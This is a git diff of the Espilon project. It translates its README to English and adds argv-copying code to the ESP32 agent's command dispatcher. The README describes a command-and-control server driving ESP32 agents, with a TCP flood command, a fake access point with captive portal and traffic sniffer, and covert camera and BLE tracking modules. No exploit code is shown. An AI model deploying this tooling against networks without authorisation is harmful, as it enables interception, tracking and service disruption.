||||||
|
## Liens Utiles
|
||||||
|
|
||||||
|
- **[Documentation complète](https://docs.espilon.net)**
|
||||||
|
- **[ESP-IDF Documentation](https://docs.espressif.com/projects/esp-idf/)**
|
||||||
|
- **[LilyGO T-Call](https://github.com/Xinyuan-LilyGO/LilyGO-T-Call-SIM800)**
|
||||||
|
- **English README** : [README.en.md](README.en.md)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Support
|
||||||
|
|
||||||
|
- **Issues** : [GitHub Issues](https://github.com/Espilon-Net/Espilon-Source/issues)
|
||||||
|
- **Discussions** : [GitHub Discussions](https://github.com/Espilon-Net/Espilon-Source/discussions)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**Présenté initialement à Le Hack (Juin 2025)**
|
||||||
|
|
||||||
|
**Made with love for security research and education**
|
||||||
399
README.md
399
README.md
@ -2,51 +2,81 @@
|
|||||||
|
|
||||||

|

|
||||||
|
|
||||||
**Framework d'agents embarqués ESP32 pour la recherche en sécurité et l'IoT**
|
**Embedded ESP32 Agent Framework for Security Research and IoT**
|
||||||
|
|
||||||
[](LICENSE)
|
[](LICENSE)
|
||||||
[](https://github.com/espressif/esp-idf)
|
[](https://github.com/espressif/esp-idf)
|
||||||
[](https://www.espressif.com/en/products/socs/esp32)
|
[](https://www.espressif.com/en/products/socs/esp32)
|
||||||
|
|
||||||
> **⚠️ IMPORTANT** : Espilon est destiné à la recherche en sécurité, aux tests d'intrusion autorisés et à l'éducation. L'utilisation non autorisée est illégale. Obtenez toujours une autorisation écrite avant tout déploiement.
|
> **IMPORTANT**: Espilon is intended for security research, authorized penetration testing, and education. Unauthorized use is illegal. Always obtain written permission before any deployment.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Documentation Complète
|
## Table of Contents
|
||||||
|
|
||||||
**[Consultez la documentation complète ici](https://docs.espilon.net)**
|
- [Full Documentation](#full-documentation)
|
||||||
|
- [Quick Start](#quick-start)
|
||||||
|
- [Prerequisites](#prerequisites)
|
||||||
|
- [Quick Installation](#quick-installation)
|
||||||
|
- [What is Espilon?](#what-is-espilon)
|
||||||
|
- [Connectivity Modes](#connectivity-modes)
|
||||||
|
- [Architecture](#architecture)
|
||||||
|
- [Key Components](#key-components)
|
||||||
|
- [Available Modules](#available-modules)
|
||||||
|
- [System Module](#system-module-built-in-always-active)
|
||||||
|
- [Network Module](#network-module)
|
||||||
|
- [FakeAP Module](#fakeap-module)
|
||||||
|
- [Recon Module](#recon-module)
|
||||||
|
- [Tools](#tools)
|
||||||
|
- [Multi-Device Flasher](#multi-device-flasher)
|
||||||
|
- [C2 Server (C3PO)](#c2-server-c3po)
|
||||||
|
- [Security](#security)
|
||||||
|
- [Encryption](#encryption)
|
||||||
|
- [Responsible Use](#responsible-use)
|
||||||
|
- [Use Cases](#use-cases)
|
||||||
|
- [Roadmap](#roadmap)
|
||||||
|
- [License](#license)
|
||||||
|
- [Contributors](#contributors)
|
||||||
|
- [Useful Links](#useful-links)
|
||||||
|
- [Support](#support)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Full Documentation
|
||||||
|
|
||||||
|
**[View the full documentation here](https://docs.espilon.net)**
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
La documentation MkDocs inclut :
|
The MkDocs documentation includes:
|
||||||
|
|
||||||
```md
|
```md
|
||||||
- Guide d'installation pas à pas
|
- Step-by-step installation guide
|
||||||
- Traduction EN/FR
|
- Translate EN/FR
|
||||||
- Configuration WiFi et GPRS
|
- WiFi and GPRS configuration
|
||||||
- Référence des modules et commandes
|
- Module and command reference
|
||||||
- Guide du flasher multi-device
|
- Multi-device flasher guide
|
||||||
- Spécification du protocole C2
|
- C2 protocol specification
|
||||||
- Exemples et cas d'usage
|
- Examples and use cases
|
||||||
```
|
```
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Quick Start
|
## Quick Start
|
||||||
|
|
||||||
### Prérequis
|
### Prerequisites
|
||||||
|
|
||||||
- ESP-IDF v5.3.2
|
- ESP-IDF v5.3.2
|
||||||
- Python 3.8+
|
- Python 3.8+
|
||||||
- ESP32 (tout modèle compatible)
|
- ESP32 (any compatible model)
|
||||||
- LilyGO T-Call pour le mode GPRS (optionnel)
|
- LilyGO T-Call for GPRS mode (optional)
|
||||||
|
|
||||||
### Installation Rapide
|
### Quick Installation
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# 1. Installer ESP-IDF v5.3.2
|
# 1. Install ESP-IDF v5.3.2
|
||||||
mkdir -p ~/esp
|
mkdir -p ~/esp
|
||||||
cd ~/esp
|
cd ~/esp
|
||||||
git clone -b v5.3.2 --recursive https://github.com/espressif/esp-idf.git
|
git clone -b v5.3.2 --recursive https://github.com/espressif/esp-idf.git
|
||||||
@ -54,205 +84,182 @@ cd esp-idf
|
|||||||
./install.sh esp32
|
./install.sh esp32
|
||||||
. ./export.sh
|
. ./export.sh
|
||||||
|
|
||||||
# 2. Cloner Espilon
|
# 2. Clone Espilon
|
||||||
cd ~
|
cd ~
|
||||||
git clone https://github.com/Espilon-Net/epsilon-source.git
|
git clone https://github.com/Espilon-Net/epsilon-source.git
|
||||||
cd epsilon/espilon_bot
|
cd Espilon-Net/espilon_bot
|
||||||
|
|
||||||
# 3. Configurer
|
# 3. Configure with menuconfig or tools/flasher/devices.json
|
||||||
idf.py menuconfig
|
idf.py menuconfig
|
||||||
|
|
||||||
# 4. Compiler et flasher
|
# 4. Build and flash
|
||||||
idf.py build
|
idf.py build
|
||||||
idf.py -p /dev/ttyUSB0 flash monitor
|
idf.py -p /dev/ttyUSB0 flash monitor
|
||||||
```
|
```
|
||||||
|
|
||||||
**Configuration minimale** (menuconfig) :
|
**Minimal configuration** (menuconfig):
|
||||||
|
|
||||||
```c
|
```c
|
||||||
Espilon Bot Configuration
|
Espilon Bot Configuration
|
||||||
├─ Device ID: "votre_id_unique"
|
|- Device ID: "your_unique_id"
|
||||||
├─ Network → WiFi
|
|- Network -> WiFi
|
||||||
│ ├─ SSID: "VotreWiFi"
|
| |- SSID: "YourWiFi"
|
||||||
│ └─ Password: "VotreMotDePasse"
|
| |- Password: "YourPassword"
|
||||||
└─ Server
|
|- Server
|
||||||
├─ IP: "192.168.1.100"
|
|- IP: "192.168.1.100"
|
||||||
└─ Port: 2626
|
|- Port: 2626
|
||||||
```
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Qu'est-ce qu'Espilon ?
|
## What is Espilon?
|
||||||
|
|
||||||
Espilon transforme des microcontrôleurs ESP32 abordables à **~5€** en agents networked puissants pour :
|
Espilon transforms affordable ESP32 microcontrollers (~$5) into powerful networked agents for:
|
||||||
|
|
||||||
- **Recherche en sécurité** : Tests WiFi, reconnaissance réseau, IoT pentesting
|
- **Security research**: WiFi testing, network reconnaissance, IoT pentesting
|
||||||
- **Éducation** : Apprentissage de l'embarqué, protocoles réseau, FreeRTOS
|
- **Education**: Learning embedded systems, network protocols, FreeRTOS
|
||||||
- **Prototypage IoT** : Communication distribuée, monitoring, capteurs
|
- **IoT prototyping**: Distributed communication, monitoring, sensors
|
||||||
|
|
||||||
### Modes de Connectivité
|
### Connectivity Modes
|
||||||
|
|
||||||
| Mode | Hardware | Portée | Use Case |
|
| Mode | Hardware | Range | Use Case |
|
||||||
|------|----------|--------|----------|
|
|------|----------|-------|----------|
|
||||||
| **WiFi** | ESP32 standard | 50-100m | Labs, bâtiments |
|
| **WiFi** | Standard ESP32 | 50-100m | Labs, buildings |
|
||||||
| **GPRS** | LilyGO T-Call | National (2G) | Mobile, remote |
|
| **GPRS** | LilyGO T-Call | National (2G) | Mobile, remote |
|
||||||
|
|
||||||
**General Packet Radio Service** vs **WiFi**
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Architecture
|
## Architecture
|
||||||
|
|
||||||
```md
|
```
|
||||||
┌─────────────────────────────────────────────────────┐
|
+---------------------------------------------------------+
|
||||||
│ ESP32 Agent │
|
| ESP32 Agent |
|
||||||
│ ┌───────────┐ ┌──────────┐ ┌─────────────────┐ │
|
| +-----------+ +----------+ +---------------------+ |
|
||||||
│ │ WiFi/ │→ │ ChaCha20 │→ │ C2 Protocol │ │
|
| | WiFi/ |->| ChaCha20 |->| C2 Protocol | |
|
||||||
│ │ GPRS │← │ Crypto │← │ (nanoPB/TCP) │ │
|
| | GPRS |<-| Crypto |<-| (nanoPB/TCP) | |
|
||||||
│ └───────────┘ └──────────┘ └─────────────────┘ │
|
| +-----------+ +----------+ +---------------------+ |
|
||||||
│ ↓ ↓ ↓ │
|
| | | | |
|
||||||
│ ┌───────────────────────────────────────────────┐ │
|
| +-----------------------------------------------------+|
|
||||||
│ │ Module System (FreeRTOS) │ │
|
| | Module System (FreeRTOS) ||
|
||||||
│ │ [Network] [FakeAP] [Recon] [Custom...] │ │
|
| | [Network] [FakeAP] [Recon] [Custom...] ||
|
||||||
│ └───────────────────────────────────────────────┘ │
|
| +-----------------------------------------------------+|
|
||||||
└─────────────────────────────────────────────────────┘
|
+---------------------------------------------------------+
|
||||||
↕ Encrypted TCP
|
| Encrypted TCP
|
||||||
┌──────────────────────┐
|
+---------------------+
|
||||||
│ C2 Server (C3PO) │
|
| C2 Server (C3PO) |
|
||||||
│ - Device Registry │
|
| - Device Registry |
|
||||||
│ - Group Management │
|
| - Group Management |
|
||||||
│ - CLI Interface │
|
| - CLI Interface |
|
||||||
└──────────────────────┘
|
+---------------------+
|
||||||
```
|
```
|
||||||
|
|
||||||
### Composants Clés
|
### Key Components
|
||||||
|
|
||||||
- **Core** : Connexion réseau, crypto ChaCha20, protocole nanoPB
|
- **Core**: Network connection, ChaCha20 crypto, nanoPB protocol
|
||||||
- **Modules** : Système extensible (Network, FakeAP, Recon, etc.)
|
- **Modules**: Extensible system (Network, FakeAP, Recon, etc.)
|
||||||
- **C2 (C3PO)** : Serveur Python asyncio pour contrôle multi-agents
|
- **C2 (C3PO)**: Python asyncio server for multi-agent control
|
||||||
- **C3PO**: Ancien c2 (serveur web - Trilateration + Front affichage caméra)
|
- **Flasher**: Automated multi-device flashing tool
|
||||||
- **Flasher** : Outil de flash multi-device automatisé
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Modules Disponibles
|
## Available Modules
|
||||||
|
|
||||||
### System Module (Built-in, toujours actif désactivable dans les src)
|
> **Important note**: Modules are **mutually exclusive**. You must choose **only one module** during configuration via menuconfig.
|
||||||
|
|
||||||
Commandes système de base :
|
### System Module (Built-in, always active)
|
||||||
|
|
||||||
- `system_reboot` : Redémarrage de l'ESP32
|
Basic system commands:
|
||||||
- `system_mem` : Affichage de l'utilisation mémoire (heap free, heap min, internal free)
|
|
||||||
- `system_uptime` : Temps de fonctionnement depuis le boot
|
- `system_reboot`: Reboot the ESP32
|
||||||
|
- `system_mem`: Display memory usage (heap free, heap min, internal free)
|
||||||
|
- `system_uptime`: Uptime since boot
|
||||||
|
|
||||||
### Network Module
|
### Network Module
|
||||||
|
|
||||||
Module pour reconnaissance et tests réseau :
|
Module for network reconnaissance and testing:
|
||||||
|
|
||||||
- `ping <host> [args...]` : Test de connectivité ICMP
|
- `ping <host> [args...]`: ICMP connectivity test
|
||||||
- `arp_scan` : Découverte des hôtes sur le réseau local via ARP
|
- `arp_scan`: Discover hosts on local network via ARP
|
||||||
- `proxy_start <ip> <port>` : Démarrer un proxy TCP
|
- `proxy_start <ip> <port>`: Start a TCP proxy
|
||||||
- `proxy_stop` : Arrêter le proxy en cours
|
- `proxy_stop`: Stop the running proxy
|
||||||
- `dos_tcp <ip> <port> <count>` : Test de charge TCP (à usage autorisé uniquement)
|
- `dos_tcp <ip> <port> <count>`: TCP load test (authorized use only)
|
||||||
|
|
||||||
### FakeAP Module
|
### FakeAP Module
|
||||||
|
|
||||||
Module pour création de points d'accès WiFi simulés :
|
Module for creating simulated WiFi access points:
|
||||||
|
|
||||||
- `fakeap_start <ssid> [open|wpa2] [password]` : Démarrer un faux point d'accès
|
- `fakeap_start <ssid> [open|wpa2] [password]`: Start a fake access point
|
||||||
- `fakeap_stop` : Arrêter le faux AP
|
- `fakeap_stop`: Stop the fake AP
|
||||||
- `fakeap_status` : Afficher le statut (AP, portal, sniffer, clients)
|
- `fakeap_status`: Display status (AP, portal, sniffer, clients)
|
||||||
- `fakeap_clients` : Lister les clients connectés
|
- `fakeap_clients`: List connected clients
|
||||||
- `fakeap_portal_start` : Activer le portail captif
|
- `fakeap_portal_start`: Enable captive portal
|
||||||
- `fakeap_portal_stop` : Désactiver le portail captif
|
- `fakeap_portal_stop`: Disable captive portal
|
||||||
- `fakeap_sniffer_on` : Activer la capture de trafic réseau
|
- `fakeap_sniffer_on`: Enable network traffic capture
|
||||||
- `fakeap_sniffer_off` : Désactiver la capture
|
- `fakeap_sniffer_off`: Disable capture
|
||||||
|
|
||||||
### Recon Module
|
### Recon Module
|
||||||
|
|
||||||
Module de reconnaissance et collecte de données. Deux modes disponibles :
|
Reconnaissance and data collection module. Two modes available:
|
||||||
|
|
||||||
#### Mode Camera (ESP32-CAM)
|
#### Camera Mode (ESP32-CAM)
|
||||||
|
|
||||||
- `cam_start <ip> <port>` : Démarrer le streaming vidéo UDP (~7 FPS, QQVGA)
|
- `cam_start <ip> <port>`: Start UDP video streaming (~7 FPS, QQVGA)
|
||||||
- `cam_stop` : Arrêter le streaming
|
- `cam_stop`: Stop streaming
|
||||||
|
|
||||||
#### Mode BLE Trilateration
|
#### BLE Trilateration Mode
|
||||||
|
|
||||||
- `trilat start <mac> <url> <bearer>` : Démarrer la trilatération BLE avec POST HTTP
|
- `trilat start <mac> <url> <bearer>`: Start BLE trilateration with HTTP POST
|
||||||
- `trilat stop` : Arrêter la trilatération
|
- `trilat stop`: Stop trilateration
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
**Configuration** : `idf.py menuconfig` → Espilon Bot Configuration → Modules
|
**Configuration**: `idf.py menuconfig` -> Espilon Bot Configuration -> Modules
|
||||||
|
|
||||||
Choisissez **un seul module** :
|
Choose **only one module**:
|
||||||
|
|
||||||
- `CONFIG_MODULE_NETWORK` : Active le Network Module
|
- `CONFIG_MODULE_NETWORK`: Enable the Network Module
|
||||||
- `CONFIG_MODULE_FAKEAP` : Active le FakeAP Module
|
- `CONFIG_MODULE_FAKEAP`: Enable the FakeAP Module
|
||||||
- `CONFIG_MODULE_RECON` : Active le Recon Module
|
- `CONFIG_MODULE_RECON`: Enable the Recon Module
|
||||||
- Puis choisir : `Camera` ou `BLE Trilateration`
|
- Then choose: `Camera` or `BLE Trilateration`
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Outils
|
## Tools
|
||||||
|
|
||||||
### Multi-Device Flasher
|
### Multi-Device Flasher
|
||||||
|
|
||||||
Flasher automatisé pour configurer plusieurs ESP32 :
|
Automated flasher to configure multiple ESP32s:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cd tools/flasher
|
cd tools/flasher
|
||||||
python3 flash.py --config devices.json
|
python3 flash.py --config devices.json
|
||||||
```
|
```
|
||||||
|
|
||||||
**devices.json** :
|
**devices.json**:
|
||||||
|
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"project": "/home/user/epsilon/espilon_bot",
|
"project": "/path/to/espilon_bot",
|
||||||
"devices": [
|
"devices": [
|
||||||
## WiFi AGENT ##
|
|
||||||
{
|
{
|
||||||
"device_id": "ce4f626b",
|
"device_id": "esp001",
|
||||||
"port": "/dev/ttyUSB0",
|
"port": "/dev/ttyUSB0",
|
||||||
"srv_ip": "192.168.1.13",
|
|
||||||
"srv_port": 2626,
|
|
||||||
"network_mode": "wifi",
|
"network_mode": "wifi",
|
||||||
"wifi_ssid": "MyWiFi",
|
"wifi_ssid": "MyNetwork",
|
||||||
"wifi_pass": "MyPassword123",
|
"wifi_pass": "MyPassword",
|
||||||
"hostname": "pixel-8-pro",
|
"srv_ip": "192.168.1.100"
|
||||||
"module_network": true,
|
|
||||||
"module_recon": false,
|
|
||||||
"module_fakeap": false,
|
|
||||||
"recon_camera": false,
|
|
||||||
"recon_ble_trilat": false,
|
|
||||||
"crypto_key": "testde32chars00000000000000000000",
|
|
||||||
"crypto_nonce": "noncenonceno"
|
|
||||||
},
|
|
||||||
|
|
||||||
## GPRS AGENT ##
|
|
||||||
{
|
|
||||||
"device_id": "a91dd021",
|
|
||||||
"port": "/dev/ttyUSB1",
|
|
||||||
"srv_ip": "203.0.113.10",
|
|
||||||
"srv_port": 2626,
|
|
||||||
"network_mode": "gprs",
|
|
||||||
"gprs_apn": "sl2sfr",
|
|
||||||
"hostname": "galaxy-s24-ultra",
|
|
||||||
"module_network": true,
|
|
||||||
"module_recon": false,
|
|
||||||
"module_fakeap": false
|
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
Voir [tools/flasher/README.md](tools/flasher/README.md) pour la documentation complète.
|
See [tools/flasher/README.md](tools/flasher/README.md) for complete documentation.
|
||||||
|
|
||||||
### C2 Server (C3PO)
|
### C2 Server (C3PO)
|
||||||
|
|
||||||
Serveur de Command & Control :
|
Command & Control server:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cd tools/c2
|
cd tools/c2
|
||||||
@ -260,137 +267,135 @@ pip3 install -r requirements.txt
|
|||||||
python3 c3po.py --port 2626
|
python3 c3po.py --port 2626
|
||||||
```
|
```
|
||||||
|
|
||||||
**Commandes** :
|
**Commands**:
|
||||||
|
|
||||||
- `list` : Lister les agents connectés
|
- `list`: List connected agents
|
||||||
- `select <id>` : Sélectionner un agent
|
- `select <id>`: Select an agent
|
||||||
- `cmd <command>` : Exécuter une commande
|
- `cmd <command>`: Execute a command
|
||||||
- `group` : Gérer les groupes d'agents
|
- `group`: Manage agent groups
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Sécurité
|
## Security
|
||||||
|
|
||||||
### Chiffrement
|
### Encryption
|
||||||
|
|
||||||
- **ChaCha20** pour les communications C2
|
- **ChaCha20** for C2 communications
|
||||||
- **Clés configurables** via menuconfig
|
- **Configurable keys** via menuconfig
|
||||||
- **Protocol Buffers (nanoPB)** pour la sérialisation
|
- **Protocol Buffers (nanoPB)** for serialization
|
||||||
|
|
||||||
⚠️ **CHANGEZ LES CLÉS PAR DÉFAUT** pour un usage en production :
|
**CHANGE DEFAULT KEYS** for production use:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Générer des clés aléatoires
|
# Generate random keys
|
||||||
openssl rand -hex 32 # ChaCha20 key (32 bytes)
|
openssl rand -hex 32 # ChaCha20 key (32 bytes)
|
||||||
openssl rand -hex 12 # Nonce (12 bytes)
|
openssl rand -hex 12 # Nonce (12 bytes)
|
||||||
```
|
```
|
||||||
|
|
||||||
### Usage Responsable
|
### Responsible Use
|
||||||
|
|
||||||
Espilon doit être utilisé uniquement pour :
|
Espilon should only be used for:
|
||||||
|
|
||||||
- Tests d'intrusion **autorisés**
|
- **Authorized** penetration testing
|
||||||
- Recherche en sécurité **éthique**
|
- **Ethical** security research
|
||||||
- Éducation et formation
|
- Education and training
|
||||||
- Prototypage IoT légitime
|
- Legitimate IoT prototyping
|
||||||
|
|
||||||
**Interdit** : Accès non autorisé, attaques malveillantes, violation de confidentialité.
|
**Prohibited**: Unauthorized access, malicious attacks, privacy violations.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Cas d'Usage
|
## Use Cases
|
||||||
|
|
||||||
### Pentest WiFi
|
### WiFi Pentesting
|
||||||
|
|
||||||
- Audit de sécurité réseau
|
- Network security auditing
|
||||||
- Test de robustesse WPA2/WPA3
|
- WPA2/WPA3 robustness testing
|
||||||
- Cartographie réseau
|
- Network mapping
|
||||||
|
|
||||||
### IoT Security Research
|
### IoT Security Research
|
||||||
|
|
||||||
- Test de devices IoT
|
- IoT device testing
|
||||||
- Analyse de protocoles
|
- Protocol analysis
|
||||||
- Détection de vulnérabilités
|
- Vulnerability detection
|
||||||
|
|
||||||
### Éducation
|
### Education
|
||||||
|
|
||||||
- Labs de cybersécurité
|
- Cybersecurity labs
|
||||||
- Cours d'embarqué
|
- Embedded systems courses
|
||||||
- CTF competitions
|
- CTF competitions
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Roadmap
|
## Roadmap
|
||||||
|
|
||||||
### V2.0 (En cours)
|
### V2.0 (In Progress)
|
||||||
|
|
||||||
- [ ] Mesh networking (BLE/WiFi)
|
- [ ] Mesh networking (BLE/WiFi)
|
||||||
- [ ] Implémenter Module reccoon dans C3PO
|
- [ ] Improve documentation
|
||||||
- [ ] Améliorer la Documentations [here](https://docs.espilon.net)
|
|
||||||
- [ ] OTA updates
|
- [ ] OTA updates
|
||||||
- [ ] Multilatération collaborative
|
- [ ] Collaborative multilateration
|
||||||
- [ ] Optimisation mémoire
|
- [ ] Memory optimization
|
||||||
|
|
||||||
### Future
|
### Future
|
||||||
|
|
||||||
- [ ] PCB custom Espilon
|
- [ ] Custom Espilon PCB
|
||||||
- [ ] Support ESP32-S3/C3
|
- [ ] ESP32-S3/C3 support
|
||||||
- [ ] Module SDK pour extensions tierces
|
- [ ] Module SDK for third-party extensions
|
||||||
- [ ] Web UI pour C2
|
- [ ] Web UI for C2
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Licence
|
## License
|
||||||
|
|
||||||
Espilon est sous licence **MIT** avec addendum de sécurité.
|
Espilon is licensed under **MIT** with a security addendum.
|
||||||
|
|
||||||
Voir [LICENSE](LICENSE) pour les détails complets.
|
See [LICENSE](LICENSE) for full details.
|
||||||
|
|
||||||
**En résumé** :
|
**In summary**:
|
||||||
|
- Free use for research, education, development
|
||||||
- Utilisation libre pour recherche, éducation, développement
|
- Modification and distribution allowed
|
||||||
- Modification et distribution autorisées
|
- **Obtain authorization** before any deployment
|
||||||
- **Obtenir autorisation** avant tout déploiement
|
- Malicious use strictly prohibited
|
||||||
- Usage malveillant strictement interdit
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Contributeurs
|
## Contributors
|
||||||
|
|
||||||
- **@Eun0us** - Core architecture, modules
|
- **@Eun0us** - Core architecture, modules
|
||||||
- **@off-path** - C2 server, protocol
|
- **@off-path** - C2 server, protocol
|
||||||
- **@itsoktocryyy** - Network features, Wall Hack
|
- **@itsoktocryyy** - Network features, work on Mod Wall Hack
|
||||||
- **@wepfen** - Documentation, tools
|
- **@wepfen** - Documentation, tools
|
||||||
|
|
||||||
### Contribuer
|
### Contributing
|
||||||
|
|
||||||
Contributions bienvenues ! Voir [CONTRIBUTING.md](CONTRIBUTING.md).
|
Contributions welcome! See [CONTRIBUTING.md](CONTRIBUTING.md).
|
||||||
|
|
||||||
**Rejoignez-nous** :
|
**Join us**:
|
||||||
|
|
||||||
- Rapporter des bugs
|
- Report bugs
|
||||||
- Proposer des features
|
- Propose features
|
||||||
- Soumettre des PRs
|
- Submit PRs
|
||||||
- Améliorer la doc
|
- Improve documentation
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Liens Utiles
|
## Useful Links
|
||||||
|
|
||||||
- **[Documentation complète](https://docs.espilon.net)**
|
- **[Full documentation](https://docs.espilon.net)**
|
||||||
- **[ESP-IDF Documentation](https://docs.espressif.com/projects/esp-idf/)**
|
- **[ESP-IDF Documentation](https://docs.espressif.com/projects/esp-idf/)**
|
||||||
- **[LilyGO T-Call](https://github.com/Xinyuan-LilyGO/LilyGO-T-Call-SIM800)**
|
- **[LilyGO T-Call](https://github.com/Xinyuan-LilyGO/LilyGO-T-Call-SIM800)**
|
||||||
- **English README** : [README.en.md](README.en.md)
|
- **French README**: [README.md](README.md)
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Support
|
## Support
|
||||||
|
|
||||||
- **Issues** : [GitHub Issues](https://github.com/Espilon-Net/Espilon-Source/issues)
|
- **Issues**: [GitHub Issues](https://github.com/Espilon-Net/Espilon-Source/issues)
|
||||||
- **Discussions** : [GitHub Discussions](https://github.com/Espilon-Net/Espilon-Source/discussions)
|
- **Discussions**: [GitHub Discussions](https://github.com/Espilon-Net/Espilon-Source/discussions)
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
**Présenté initialement à Le Hack (Juin 2025)**
|
**Originally presented at Le Hack (June 2025)**
|
||||||
|
|
||||||
**Made with love for security research and education**
|
**Made with love for security research and education**
|
||||||
|
|||||||
@ -1,13 +1,26 @@
|
|||||||
#include "command.h"
|
#include "command.h"
|
||||||
#include "utils.h"
|
#include "utils.h"
|
||||||
#include "esp_log.h"
|
#include "esp_log.h"
|
||||||
|
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
static const char *TAG = "COMMAND";
|
static const char *TAG = "COMMAND";
|
||||||
|
|
||||||
static const command_t *registry[MAX_COMMANDS];
|
static const command_t *registry[MAX_COMMANDS];
|
||||||
static size_t registry_count = 0;
|
static size_t registry_count = 0;
|
||||||
|
|
||||||
|
/* Max longueur lue/copied par arg (sécurité si non \0) */
|
||||||
|
#ifndef COMMAND_MAX_ARG_LEN
|
||||||
|
#define COMMAND_MAX_ARG_LEN 128
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* Max args temporaires qu’on accepte ici (doit couvrir tes commandes) */
|
||||||
|
#ifndef COMMAND_MAX_ARGS
|
||||||
|
#define COMMAND_MAX_ARGS 16
|
||||||
|
#endif
|
||||||
|
|
||||||
/* =========================================================
|
/* =========================================================
|
||||||
* Register command
|
* Register command
|
||||||
* ========================================================= */
|
* ========================================================= */
|
||||||
@ -24,19 +37,120 @@ void command_register(const command_t *cmd)
|
|||||||
}
|
}
|
||||||
|
|
||||||
registry[registry_count++] = cmd;
|
registry[registry_count++] = cmd;
|
||||||
ESP_LOGI(TAG, "Registered command: %s", cmd->name);
|
#ifdef CONFIG_ESPILON_LOG_CMD_REG_VERBOSE
|
||||||
|
ESPILON_LOGI_PURPLE(TAG, "Registered command: %s", cmd->name);
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
/* =========================================================
|
/* =========================================================
|
||||||
* Dispatch protobuf command
|
* Summary
|
||||||
|
* ========================================================= */
|
||||||
|
void command_log_registry_summary(void)
|
||||||
|
{
|
||||||
|
if (registry_count == 0) {
|
||||||
|
ESPILON_LOGI_PURPLE(TAG, "Registered commands: none");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
char buf[512];
|
||||||
|
int off = snprintf(
|
||||||
|
buf,
|
||||||
|
sizeof(buf),
|
||||||
|
"Registered commands (%d): ",
|
||||||
|
(int)registry_count
|
||||||
|
);
|
||||||
|
|
||||||
|
for (size_t i = 0; i < registry_count; i++) {
|
||||||
|
const char *name = registry[i] && registry[i]->name
|
||||||
|
? registry[i]->name : "?";
|
||||||
|
const char *sep = (i == 0) ? "" : ", ";
|
||||||
|
int n = snprintf(buf + off, sizeof(buf) - (size_t)off,
|
||||||
|
"%s%s", sep, name);
|
||||||
|
if (n < 0 || n >= (int)(sizeof(buf) - (size_t)off)) {
|
||||||
|
if (off < (int)sizeof(buf) - 4) {
|
||||||
|
strcpy(buf + (sizeof(buf) - 4), "...");
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
off += n;
|
||||||
|
}
|
||||||
|
|
||||||
|
ESPILON_LOGI_PURPLE(TAG, "%s", buf);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* =========================================================
|
||||||
|
* Helpers: deep-copy argv into one arena + argv[] pointers
|
||||||
|
* ========================================================= */
|
||||||
|
static bool deepcopy_argv(char *const *argv_in,
|
||||||
|
int argc,
|
||||||
|
char ***argv_out,
|
||||||
|
char **arena_out,
|
||||||
|
const char *req_id)
|
||||||
|
{
|
||||||
|
*argv_out = NULL;
|
||||||
|
*arena_out = NULL;
|
||||||
|
|
||||||
|
if (argc < 0) {
|
||||||
|
msg_error("cmd", "Invalid argc", req_id);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (argc == 0) {
|
||||||
|
char **argv0 = (char **)calloc(1, sizeof(char *));
|
||||||
|
if (!argv0) {
|
||||||
|
msg_error("cmd", "OOM copying argv", req_id);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
*argv_out = argv0;
|
||||||
|
*arena_out = NULL;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t total = 0;
|
||||||
|
for (int i = 0; i < argc; i++) {
|
||||||
|
const char *s = (argv_in && argv_in[i]) ? argv_in[i] : "";
|
||||||
|
size_t n = strnlen(s, COMMAND_MAX_ARG_LEN);
|
||||||
|
total += (n + 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
char *arena = (char *)malloc(total ? total : 1);
|
||||||
|
char **argv_copy = (char **)malloc((size_t)argc * sizeof(char *));
|
||||||
|
if (!arena || !argv_copy) {
|
||||||
|
free(arena);
|
||||||
|
free(argv_copy);
|
||||||
|
msg_error("cmd", "OOM copying argv", req_id);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t off = 0;
|
||||||
|
for (int i = 0; i < argc; i++) {
|
||||||
|
const char *s = (argv_in && argv_in[i]) ? argv_in[i] : "";
|
||||||
|
size_t n = strnlen(s, COMMAND_MAX_ARG_LEN);
|
||||||
|
|
||||||
|
argv_copy[i] = &arena[off];
|
||||||
|
memcpy(&arena[off], s, n);
|
||||||
|
arena[off + n] = '\0';
|
||||||
|
off += (n + 1);
|
||||||
